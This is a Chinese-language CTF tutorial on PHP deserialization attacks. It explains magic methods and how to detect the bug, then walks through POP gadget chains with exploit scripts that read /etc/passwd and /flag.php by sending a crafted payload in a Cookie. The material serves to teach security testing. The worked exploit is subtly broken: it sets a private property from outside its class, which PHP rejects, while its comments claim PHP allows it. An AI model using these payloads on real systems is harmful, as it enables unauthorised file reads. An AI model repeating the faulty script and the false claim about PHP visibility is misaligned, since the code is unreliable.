PHP 反序列化

PHP 反序列化(PHP Unserialization)

1. 核心概念是什么?

想象一下,你有一个复杂的 PHP 对象(比如一个包含用户姓名、年龄、权限等信息的用户对象),你想把它存到数据库或在网络间传输。直接存对象是不行的,所以你需要一种方法把它“打包”成一个字符串。

serialize(): PHP 的一个函数,可以将一个 PHP 对象、数组或变量“打包”(序列化)成一个可以存储或传输的字符串。

unserialize(): 另一个函数,可以将这个字符串“解包”(反序列化),在内存中重新构造出原始的对象。

漏洞的根源:这个漏洞不在 serialize() 或 unserialize() 函数本身,而在于当 unserialize() 函数处理了由攻击者精心构造的、恶意的字符串时。

当一个对象被反序列化时,PHP 会自动调用一些特殊的方法,我们称之为“魔术方法 (Magic Methods)”。如果这些魔术方法中存在可以被利用的操作(比如读写文件、执行命令),漏洞就产生了。

CTF 中最关键的魔术方法:

2. 在 CTF 中如何判断?

代码审计(白盒):

直接搜索关键字: 在源代码中全局搜索 unserialize()。这是最直接的信号。一旦找到,立即分析传递给它的参数是否是用户可控的(比如来自 $_GET, $_POST, $_COOKIE)。

寻找魔术方法: 查看项目中的各个类,看看它们有没有实现 __destruct, __wakeup, __toString 等危险的魔术方法。

黑盒测试:

寻找特征字符串: 检查 URL 参数、POST 请求体、特别是 Cookie 的值,寻找看起来像 Base64 编码的字符串,或者直接就是 O:4:”User”:2:{s:4:”name”;s:3:”Bob”;…} 这种格式的 PHP 序列化字符串。

Fuzzing 测试: 尝试修改这些可疑的参数值。比如把序列化字符串中的某个值改掉,看看服务器是否返回 500 错误或者不同的响应。这说明服务器很可能正在尝试反序列化你的输入。

3. 在 CTF 中如何使用?

利用 PHP 反序列化漏洞的核心是构造一个“POP Gadget Chain”(POP 指 Property-Oriented Programming)。你并不是注入新代码,而是利用应用程序中已经存在的类和方法,像搭积木一样把它们串联起来,最终执行危险操作。

利用流程:

寻找终点 (Sink): 在所有类的代码中,寻找一个可以直接导致漏洞利用的函数调用,比如:

文件操作: file_get_contents($this->filename), unlink($this->logFile)

命令执行: system($this->command), exec($this->cmd)

代码执行: eval($this->code)

寻找起点 (Source): 寻找一个会自动被调用的魔术方法,比如 __destruct__toString

构建利用链 (Gadget Chain):

如果 __destruct 方法直接调用了危险函数,那么恭喜你,利用非常简单。

但通常,__destruct 可能会调用 $this->obj->someMethod()。这时,你就需要去 someMethod() 的代码里继续寻找,看它是否又调用了其他对象的方法,一层层地往下找,直到最终能够调用到你在第一步找到的那个危险函数。

编写 EXP (Exploit):

你需要编写一个 PHP 脚本,在你的本地环境中 new 出这些在利用链中用到的类的实例。

精心设置每个对象的属性值,让它们串联起来。比如,A 对象的 obj 属性是 B 类的实例,B 对象的 cmd 属性是你想执行的命令字符串 “cat /flag”。

最后,用 serialize() 函数将你构造好的最外层对象序列化成字符串,再用 urlencode()base64_encode() 处理一下,作为最终的 payload 发送给目标。

简单示例:

目标代码 (Vulnerable.php):

class Reader {
    public $file;
    public function __toString() {
        return file_get_contents($this->file);
    }
}
class User {
    public $username;
    public $profile;
    public function __destruct() {
        echo "Username: " . $this->profile; // 把 profile 当作字符串处理,触发 __toString
    }
}
// 假设代码从 cookie 中获取数据并反序列化
$data = unserialize(base64_decode($_COOKIE['user_data']));
你的利用脚本 (poc.php):
code
PHP
class Reader { public $file; }
class User { public $username; public $profile; }

$user_obj = new User();
$reader_obj = new Reader();

$reader_obj->file = '/etc/passwd'; // 设置终点 (Sink) 的参数
$user_obj->profile = $reader_obj; // 把 Reader 对象赋给 User 的 profile 属性,构建利用链

echo base64_encode(serialize($user_obj)); // 生成 payload

你只需要把 poc.php 生成的字符串,放到浏览器开发者工具的 Cookie (user_data) 里,然后刷新页面,就能看到 /etc/passwd 的内容了。

例题:PHP 反序列化入门题 (经典题目改编)

这个例子综合了许多 CTF 题目中的常见模式:反序列化一个从 Cookie 读取的对象,并通过魔术方法 __toString()__destruct() 串联起来,最终实现文件读取。

题目描述

名称: “My Web Page”

目标: 网站上有一个功能,可以让你自定义个人页面的部分信息。你的用户名和简介被存储在 Cookie 中。请读取服务器上的 /flag.php 文件。

源代码 (index.php):

<?php
// highlight_file(__FILE__); // 假设这行被注释掉了,但我们可以推断出类似逻辑

class Profile {
    public $username;
    public $description;
    public $logger;

    public function __construct($username, $description) {
        $this->username = $username;
        $this->description = $description;
        $this->logger = new Logger();
    }

    public function __destruct() {
        // 当对象销毁时,记录日志
        $this->logger->log("Profile for user '{$this->username}' is being destroyed.");
    }
}

class Logger {
    private $log_file = '/var/www/html/log/app.log'; // 默认日志文件

    public function log($message) {
        // 将日志信息追加到日志文件中
        file_put_contents($this->log_file, $message . "\n", FILE_APPEND);
    }
}

class ReadFile {
    public $filename;

    public function __toString() {
        // 当对象被当作字符串处理时,读取文件内容
        return file_get_contents($this->filename);
    }
}

// 默认逻辑:如果 cookie 中有数据,则反序列化;否则创建一个新的
if (isset($_COOKIE['user_profile'])) {
    $profile = unserialize(base64_decode($_COOKIE['user_profile']));
} else {
    $profile = new Profile('guest', 'Welcome to my page!');
    setcookie('user_profile', base64_encode(serialize($profile)));
}

// 显示用户信息
echo "<h1>Welcome, {$profile->username}</h1>";
echo "<p>{$profile->description}</p>";

?>

解析

漏洞判断

入口点: 源代码明确显示 unserialize(base64_decode($_COOKIE['user_profile']))。这是一个典型的反序列化漏洞入口,因为 $_COOKIE 是用户完全可控的。

寻找 Gadget (利用链): 我们需要找到可以利用的魔术方法和危险函数。

终点 (Sink): ReadFile 类中的 __toString() 方法包含了 file_get_contents($this->filename)。如果我们能控制 $this->filename 并触发 __toString(),就能读取任意文件。

起点/中继点 (Gadget): Profile 类中的 __destruct() 方法会在脚本结束时自动调用。它执行了 $this->logger->log(...)

中继点: Logger 类中的 log() 方法执行了 file_put_contents($this->log_file, $message . "\n", FILE_APPEND)。虽然 file_put_contents 本身很危险(可以写 Webshell),但我们注意到 $message 是拼接而成的,我们很难直接控制。然而,如果 $this->log_file 是一个对象,并且这个对象有 __toString() 方法,那么在 file_put_contents 尝试将它作为文件名(字符串)使用时,就会触发 __toString()

构建利用链 (POP Chain)

我们的目标是触发 ReadFile 类的 __toString() 方法。

Profile::__destruct() -> Logger::log() -> file_put_contents() -> (参数 $this->log_file 被当作字符串) -> ReadFile::__toString() -> file_get_contents()

编写 Exploit 脚本 (exploit.php)

我们需要在本地构造一个恶意的对象链,然后序列化它。

<?php
// 需要定义目标代码中所有用到的类,但只需要定义其属性即可
class Profile {
    public $username;
    public $description;
    public $logger;
}

class Logger {
    // 在目标代码中 log_file 是 private, 但在反序列化时,PHP 不会检查属性可见性
    // 我们可以直接设置它。
    private $log_file;
}

class ReadFile {
    public $filename;
}

// 1. 创建终点 Gadget 的实例
$readFile = new ReadFile();
$readFile->filename = '/flag.php'; // 设置要读取的文件

// 2. 创建中继 Gadget 的实例
$logger = new Logger();
// 关键一步:将终点 Gadget 赋值给中继 Gadget 的属性
// 注意:即使 log_file 是 private,我们仍然可以在这里设置它
// PHP 反序列化时会强制赋值
$logger->log_file = $readFile;

// 3. 创建起点 Gadget 的实例
$profile = new Profile();
$profile->username = 'attacker'; // 任意值
$profile->description = 'hacked'; // 任意值
// 关键一步:将中继 Gadget 赋值给起点 Gadget 的属性
$profile->logger = $logger;

// 4. 生成 payload
$payload = serialize($profile);
echo "原始 Payload: \n" . $payload . "\n\n";
echo "Base64 编码后的 Payload (用于 Cookie): \n" . base64_encode($payload) . "\n";
?>

使用

运行 php exploit.php,得到一长串 Base64 编码的字符串。

打开浏览器的开发者工具 (F12)。

进入“应用 (Application)” -> “Cookie” 面板。

找到名为 user_profile 的 Cookie,将其值替换为我们生成的 Base64 Payload。

刷新页面。由于 file_put_contents 会把读取到的 flag 内容当作文件名而报错,flag 通常会显示在页面的错误信息或警告中。